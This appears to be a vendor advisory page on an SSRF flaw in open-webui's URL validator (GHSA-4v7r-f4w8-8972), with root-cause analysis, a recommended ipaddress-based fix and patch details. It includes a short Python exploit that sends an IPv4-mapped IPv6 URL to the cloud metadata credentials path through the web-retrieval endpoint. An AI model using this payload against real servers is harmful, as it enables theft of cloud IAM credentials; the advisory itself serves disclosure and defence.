Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-4v7r-f4w8-8972

HIGH

GHSA-4v7r-f4w8-8972 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in open-webui. O3 Security confirms whether GHSA-4v7r-f4w8-8972 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature

Also known asCVE-2026-45331PYSEC-2026-2702
Published
May 14, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4v7r-f4w8-8972.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk
0.00%0.26%0.52%0.79%0.3%0.3%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-4v7r-f4w8-8972 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 357,322 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

  • Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
  • DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
  • urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
  • Playwright loader redirect: GHSA-jrfp-m64g-pcwv
  • Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

  • Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
  • wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.9.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update open-webui to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4v7r-f4w8-8972 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4v7r-f4w8-8972 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4v7r-f4w8-8972. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()` ## Summary `validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked. The vulnerabil
O3 Security · Impact-Aware SCA

Is GHSA-4v7r-f4w8-8972 in your dependencies?

O3 detects GHSA-4v7r-f4w8-8972 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-4v7r-f4w8-8972: open-webui… | O3 Security